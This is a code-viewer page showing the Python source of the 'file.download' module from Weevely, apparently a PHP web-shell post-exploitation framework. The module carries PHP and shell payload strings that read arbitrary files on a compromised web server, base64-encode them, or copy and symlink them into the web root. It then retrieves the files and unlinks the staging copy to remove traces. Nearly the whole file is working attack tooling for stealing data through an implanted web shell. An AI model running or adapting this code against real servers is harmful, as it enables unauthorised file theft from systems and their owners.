PageRenderTime 60ms CodeModel.GetById 23ms RepoModel.GetById 1ms app.codeStats 0ms

/modules/file/download.py

http://weevely.googlecode.com/
Python | 199 lines | 177 code | 14 blank | 8 comment | 1 complexity | a800f5a74f000d3632c99ba6887cecae MD5 | raw file
Possible License(s): GPL-3.0
  1. '''
  2. Created on 24/ago/2011
  3. @author: norby
  4. '''
  5. from core.module import Module, ModuleException
  6. from core.http.request import Request
  7. from base64 import b64decode
  8. from hashlib import md5
  9. from random import randint
  10. from core.vector import VectorList, Vector as V
  11. from core.parameters import ParametersList, Parameter as P
  12. classname = 'Download'
  13. class Download(Module):
  14. '''Download binary/ascii files from target filesystem
  15. :file.download <remote path> <locale path>
  16. '''
  17. vectors = VectorList([
  18. V('shell.php', 'file', "print(@base64_encode(implode('', file('%s'))));"),
  19. V('shell.php', 'fread', "$f='%s'; print(@base64_encode(fread(fopen($f,'rb'),filesize($f))));"),
  20. V('shell.php', "file_get_contents", "print(@base64_encode(file_get_contents('%s')));"),
  21. V('shell.sh', "base64", "base64 -w 0 %s"),
  22. V('shell.php', "copy", "copy('compress.zlib://%s','%s') && print(1);"),
  23. V('shell.php', "symlink", "symlink('%s','%s') && print(1);")
  24. ])
  25. params = ParametersList('Download binary/ascii files from target', vectors,
  26. P(arg='rpath', help='Remote file path', required=True, pos=0),
  27. P(arg='lpath', help='Local file path', required=True, pos=1)
  28. )
  29. def __init__(self, modhandler, url, password):
  30. self.encoder_callable = False
  31. self.md5_callable = False
  32. self.payload = None
  33. self.vector = None
  34. self.interpreter = None
  35. self.transfer_dir = None
  36. self.transfer_url_dir = None
  37. self.lastreadfile = ''
  38. Module.__init__(self, modhandler, url, password)
  39. def _probe(self):
  40. if self.modhandler.load('shell.php').run({ 0 : "is_callable('base64_encode') && print('1');" }) == '1':
  41. self.encoder_callable = True
  42. else:
  43. self.mprint('[%s] PHP \'base64_encode\' transfer methods not available.' % self.name)
  44. def __prepare_payload( self, vector, parameters ):
  45. if vector.payloads[0].count( '%s' ) == len(parameters):
  46. return vector.payloads[0] % tuple(parameters)
  47. else:
  48. raise ModuleException(self.name, "Error payload parameter number does not corresponds")
  49. def __execute_payload(self, vector, parameters):
  50. remote_path = parameters[0]
  51. if (vector.name == 'copy' or vector.name == 'symlink'):
  52. if not (self.transfer_dir and self.transfer_url_dir and self.file_path):
  53. self.modhandler.set_verbosity(2)
  54. if not self.modhandler.load('find.webdir').run({'rpath': 'auto'}):
  55. self.modhandler.set_verbosity()
  56. return
  57. self.modhandler.set_verbosity()
  58. self.transfer_url_dir = self.modhandler.load('find.webdir').url
  59. self.transfer_dir = self.modhandler.load('find.webdir').dir
  60. if not self.transfer_url_dir or not self.transfer_dir:
  61. return
  62. filename = '/' + str(randint(11, 999)) + remote_path.split('/').pop();
  63. self.file_path = self.transfer_dir + filename
  64. self.url = self.transfer_url_dir + filename
  65. payload = self.__prepare_payload(vector, [remote_path, self.file_path])
  66. else:
  67. payload = self.__prepare_payload(vector, [remote_path])
  68. response = self.modhandler.load(vector.interpreter).run({0 : payload})
  69. if response:
  70. self.payload = payload
  71. self.interpreter = vector.interpreter
  72. self.vector = vector
  73. return response
  74. def __process_response(self,response, remote_path, local_path):
  75. if self.vector.name == 'copy' or self.vector.name == 'symlink':
  76. if not self.file_path.endswith('.html') and not self.file_path.endswith('.htm'):
  77. self.mprint("[%s] Warning, method '%s' use HTTP file download. Assure that remote file\n[%s] has a downloadable extension like 'html', or use another vector" % (self.name, self.vector.name, self.name))
  78. if self.modhandler.load('file.check').run({'rpath' : self.file_path, 'mode': 'exists'}):
  79. response = Request(self.url).read()
  80. if self.modhandler.load('shell.php').run({0: "unlink('%s') && print('1');" % self.file_path}) != '1':
  81. self.mprint("[!] [%s] Error cleaning support file %s" % (self.name, self.file_path))
  82. else:
  83. self.mprint("[!] [%s] Error checking existance of %s" % (self.name, self.file_path))
  84. else:
  85. if self.encoder_callable:
  86. try:
  87. response = b64decode(response)
  88. except TypeError:
  89. self.mprint("[!] [%s] Error, unexpected file content" % (self.name))
  90. if response:
  91. try:
  92. f = open(local_path,'wb')
  93. f.write(response)
  94. f.close()
  95. except Exception, e:
  96. self.mprint('[!] [%s] Some error occurred writing local file \'%s\'.' % (self.name, local_path))
  97. raise ModuleException(self.name, e)
  98. response_md5 = md5(response).hexdigest()
  99. remote_md5 = self.modhandler.load('file.check').run({'rpath' : remote_path, 'mode' : 'md5'})
  100. if not remote_md5:
  101. self.mprint('[!] [%s] MD5 hash method is not callable with \'%s\', check disabled' % (self.name, remote_path))
  102. return response
  103. elif not remote_md5 == response_md5:
  104. self.mprint('[%s] MD5 hash of \'%s\' file mismatch, file corrupted' % (self.name, local_path))
  105. else:
  106. self.mprint('[%s] File correctly downloaded to \'%s\'.' % (self.name, local_path))
  107. return response
  108. def get_last_read_file(self):
  109. """Get last read file and delete it"""
  110. lastreadfile = self.lastreadfile[:]
  111. self.lastreadfile=''
  112. return lastreadfile
  113. def run_module(self, remote_path, local_path):
  114. vectors = self._get_default_vector2()
  115. if not vectors:
  116. vectors = self.vectors.get_vectors_by_interpreters(self.modhandler.loaded_shells)
  117. for vector in vectors:
  118. response = self.__execute_payload(vector, [remote_path, local_path])
  119. if response != None:
  120. file_response = self.__process_response(response, remote_path, local_path)
  121. self.params.set_and_check_parameters({'vector' : self.vector.name})
  122. self.lastreadfile = file_response
  123. return
  124. raise ModuleException(self.name, "File read failed")